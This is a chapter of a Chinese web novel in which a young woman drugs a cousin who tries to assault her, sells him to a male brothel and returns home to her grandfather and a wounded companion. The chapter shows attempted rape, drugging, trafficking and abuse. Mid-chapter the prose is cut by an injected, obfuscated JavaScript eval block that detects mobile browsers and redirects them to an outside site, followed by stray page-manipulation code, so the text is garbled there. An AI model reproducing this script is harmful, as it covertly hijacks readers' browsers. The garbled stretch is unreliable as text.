向大海家的院落如今笼罩在一片愁云惨淡之中。
院门口堆满了烂菜叶,馊臭味冲天,路过的野狗都得绕道走,更别提每天雷打不动站在门口咒骂的村民了。
向大海夫妇缩在屋里,脸上的青紫还没消,只能对着空气唉声叹气。
向大狗蹲在门槛上,饿得眼冒金星,肚子里像是有只手在搅。
他下意识抬起头,浑浊的目光穿过破败的篱笆,正瞥见不远处向家老宅炊烟袅袅。
那原本塌了一半的屋顶不知何时已修缮如新,在夕阳下泛着暖意,顺风飘来的,竟是久违的浓郁饭菜香。
“咕咚。”
大狗狠狠吞了口唾沫,眼底瞬间涌起一股贪婪。
凭什么?二弟被抓了,他家的名声臭大街了,如今家徒四壁连口热乎饭都吃不上。
那个走两步都要喘三喘的病秧子,凭什么过得这么滋润,还有闲钱修房炒菜?
一股无边的恶念如野草般在向大狗心中疯长。
既然那死丫头不知好歹,那就别怪他心狠手辣。
若是生米煮成了熟饭,那病秧子成了破鞋,还不是任他拿捏?
届时,不仅人是他的,那刚修好的大瓦房,藏着的银子,统统都得归他!
想到这里,大狗伸出舌头舔了舔干裂起皮的嘴唇,起身回屋摸了一根粗麻绳,阴测测地揣进了怀里。
午后,日头惨白,透着股有气无力的冷意。
向安安挎着一只竹篮,独自出了村。
村头有人问起,她便微微扬起那张毫无血色的小脸,怯生生说是去镇上抓药。
她身形单薄得像张纸片,步履虚浮,仿佛一阵风就能将她刮倒。
行至村外那片枯树林,四周寂静无人,唯有几只寒鸦在枝头发出粗嘎的啼鸣。
“咔嚓。”
身后,传来一声枯枝断裂的脆响。
向安安脚步微顿,背对着来人,嘴角勾起一抹极淡的凉薄笑意。
鱼,咬钩了。
“安安堂妹,这是去哪儿啊?”
向大狗从树后猛地窜出,满脸淫笑地堵在路中间。
那双浑浊的眼珠子肆无忌惮地在她身上游走,仿佛要透过衣衫看穿她。
向安安止步,脸上却未见半分惊慌,只是淡淡抬眼,软软一笑,语气平静得有些诡异。
“大堂哥,有事?”
见她这般娇怯貌美,大狗心头那把邪火烧得更旺,甚至生出几分施虐的快意。
“安安堂妹,你以前是高高在上的千金大小姐,如今也不过是个没人要的孤女。与其便宜了外人,不如跟了堂哥吧。”
他一边搓着手一边逼近,唾沫横飞,言语下流至极。
“堂哥这辈子还没尝过千金小姐的滋味,听说那身皮肉细嫩得很,今日便让堂哥快活快活?”
“只要你从了我,今天把我伺候舒坦了,以后这家里,堂哥替你守着,保准让你吃香喝辣。”
一句句污言秽语,不堪入耳。
向安安退无可退,背抵枯树。
她微微皱眉,仿佛闻到了令人作呕的气味,掩鼻道:“大堂哥要想清楚,有些饭,吃了是要烂肚肠的。”
“只要能睡了你,烂肚肠我也认!”
大狗狞笑一声,再按捺不住,如饿虎扑食般猛地冲了上来,“今儿个,老子就要尝尝这千金小姐的鲜!”
腥臭气息扑面而来,令人作呕。
就在那双脏手即将触及她衣襟的瞬间,向安安袖口微扬,一蓬幽蓝色的粉末迎风而散。
“咳咳咳……什么东西?”大狗身形猛地一滞,脸上的狞笑瞬间僵住。
他只觉天旋地转,眼前那张清冷绝美的面容瞬间扭曲成了无数重影,四肢百骸像是被人瞬间抽去了筋骨,软绵绵地提不起半分力气。
“扑通。”
下一刻,壮硕的身躯如一滩烂泥般轰然倒地,激起一片尘土。
向安安嫌弃地退开一步,用帕子掩住口鼻,轻轻拍了拍袖口并未沾染的灰尘。
随后,她从篮子里取出早已备好的粗麻绳,动作熟练得让人心惊,三两下便将死猪般的大狗五花大绑在树干上。
做完这一切,她才慢条斯理地看向林子深处。
一个穿红戴绿的婆子扭着腰肢走出,手里摇着把艳俗的团扇,捂着鼻子上下打量起即将到手的货物。
她正是镇上南风馆的妈妈,因着早上收到黑蜂送去的**信,这才特意赶来收这送上门的野货。
“这就是你说的好货?”
婆子撇了撇嘴,满脸嫌弃,“这模样也太寒碜了些,皮糙肉厚,一脸横肉,也就那些口味重的特殊恩客能勉强下得去口。”
“模样虽糙,胜在身板结实,耐用。”
向安安神色淡淡,哪还有半分刚才的柔弱,活脱脱一个精明的商人。
“这种常年干农活的乡野汉子,力气大,耐力足,最适合你们南风馆那种……不太怜香惜玉的地方。”
婆子眼珠一转,伸出五根手指:“五两。不能再多了,这长相实在是拉低我们馆的档次。”
“十两。”向安安寸步不让,“这可是还没开过苞的壮劳力,带回去稍加调教两日,便是棵摇钱树。这年头,找个身体好的可不容易。”
“哎呦我的姑奶奶,这等货色,哪值十两!”
婆子夸张地甩着手绢,“顶多六两!我带回去还得废粮食养着,少不了得调教一段时间呢。”
“八两。成便签**契,不成我便找别的买家。”
向安安语气平静,却透着股不容置疑的狠劲。
婆子看了眼地上五花大绑的壮汉,咬咬牙:“行行行,八两就八两。你这丫头,看着娇滴滴的,心倒是够狠。”
肉痛地掏出几块碎银子递过去,婆子挥手招来两个藏在暗处的龟公,将大狗塞进了不远处停着的马车。
……
颠簸,昏沉。
浓重的劣质脂粉气直往鼻子里钻,令人头晕目眩。
向大狗迷迷糊糊睁开眼,只觉浑身酸软,手脚被粗麻绳捆得结结实实,动弹不得。
“醒了?”一张涂着厚厚**的大脸骤然逼近。
正是那个老鸨,她捏着大狗的下巴左右端详,尖细的指甲掐进肉里,疼得大狗一激灵。
“啧,收拾干净了倒也能看。有些个特殊的恩客,就好这一口野味儿。”
向大狗惊恐地瞪大眼,终于看清了自己身处何地。
粉红色的纱帐,摇曳的红烛台,还有那隐约传来的男人调笑声与令人毛骨悚然的鞭笞声。
南风馆!
这是专门玩男人的地方!
“放开我,我是良民,我不**!”
他拼命挣扎,张嘴欲骂,“我是我们家独子,放我回去,你们这是强买民男!”
“聒噪。进了我的门,签了死契,你便只是老娘手里的货。”老鸨瞬间冷了脸,使了个眼色。
旁边一个壮汉立刻上前,熟练地捏住大狗的下颌。
“咔嚓”一声脆响,下巴被卸了下来。
惨叫声被堵在喉咙里,化作含混不清的“呜呜”声,口水顺着无法闭合的嘴角流下,狼狈至极。
“进了我这地界,便是条龙也得给我盘着,何况你是条虫。”
老鸨冷笑起身,嫌恶地用手绢擦了擦手,仿佛沾了脏东西。
“拖下去洗刷干净,今晚便挂牌。让那几个手段狠些的恩客好好疼爱一番,教教他什么是规矩。”
几个龟公一拥而上,粗暴将人拖向漆黑的后堂。
“呜呜,呜呜呜!”
黑暗降临,绝望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246661|197887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如潮水般淹没。
他本想吃绝户,想睡堂妹,如今却要被人睡,还要被人吃得骨头渣都不剩。这一报还一报,来得竟是这般快。
……
向家老宅。
天色彻底擦黑,屋外的寒风如鬼哭狼嚎般骤起,卷着枯叶拍打在窗棂上,发出噼里啪啦的声响。
屋内却因灶膛里的火光显得暖意融融。
向安安揭开缺了一角的锅盖,虽然只是一锅掺了野菜的糙米粥,但因为用了空间里的灵泉水熬煮,随着热气腾起的,竟是一股子奇异的清甜异香,勾得人馋虫直动。
“爷爷,阿丑,吃饭了。”
她动作利落地盛好两碗,端进屋内。
向老爷子正靠坐在床头,脸色依旧透着失血过多的惨白,胸口那处深可见骨的刀伤让他每一次呼吸,都伴随着细微的颤音。
按理说,受了这般足以去见阎王的重伤,此刻能睁眼已是向家祖坟冒青烟,可他偏偏觉得自己除了身子虚软些,精神头竟还不错,连那断骨处都有种酥酥麻麻的愈合感。
“安丫头熬的什么药,真是神了……”
老爷子心里嘀咕着,借着床沿的力道勉强撑起身子,目光却紧紧锁在向安安身上,满眼焦急。
“安安呐,今日去镇上……没遇着什么难处吧?”
向老爷子担心自家孙女独自出门,会不会被那个狼心狗肺的向大海暗中使绊子,又或是被镇上的地痞欺负了去。
“爷爷放心,顺得狠。”
向安安吹了吹粥面袅袅的热气,嘴角在氤氲的雾气中勾起一抹极淡的弧度,眼底划过一丝不易察觉的凉薄。
“没受欺负就好……”
向老爷子见孙女神色如常,这才松了口气。
捧起热粥喝了一口,只觉一股暖流顺着喉头滑进胃里,连带着四肢百骸的痛意都轻了几分。
另一边,赵离靠在床尾,手里把玩着一只粗瓷碗,目光幽深地盯着正给自己夹菜的少女。
他那肩膀被利刃贯穿,本该废了半条胳膊,可此刻那伤处除了隐隐作痛,竟已有结痂之势。
他虽然没了记忆,但是,却下意识觉得这种恢复速度堪称惊世骇俗。
视线划过少女平静温顺的眉眼,赵离眸色微暗。
这丫头,看着像只无害的小白兔,实则怕是只成了精的小狐狸。
刚才她眼底那一闪而过的快意,分明是刚干完坏事回来的模样。
“吃吧。”
向安安不知他心中所想,夹了一筷子自家腌制的脆萝卜放在赵离碗尖,语气温软。
“只有咸菜,委屈你了。”
赵离看着碗里那块晶莹剔透的萝卜,再看一眼少女轻描淡写的如画眉眼,心头常年盘踞的暴戾之气竟莫名散了些许。
“不委屈。”
他声音嘶哑,却透着一股子沉稳劲儿。
顿了顿,他目光扫向被风吹得呼呼作响的破窗,握着碗的手指紧了紧,沉声道:
“今夜风大,这窗户不牢靠。我虽腿脚不便,但听力尚可。你且安心睡,若有动静,我会叫你。”
哪怕如今落魄至此,成了个半废之人,他也不屑于真让一个弱女子挡在前面。
这看家护院的活,本该就是男人的事。
向安安闻言一怔,随即弯起眉眼,笑意真切了几分。
“你还是省省力气养伤吧,今夜不会有坏人来……”
她凑近了些,压低声音,语气里带着几分狡黠,“就算有人,我也能给他们下点东西,保准比你这残躯管用。”
赵离:“……”
果然是个黑心肝的小狐狸。
不过……
他低头喝了一口粥,遮住眼底那一丝若有似无的笑意。
这被小媳妇儿护着的滋味,倒也不赖。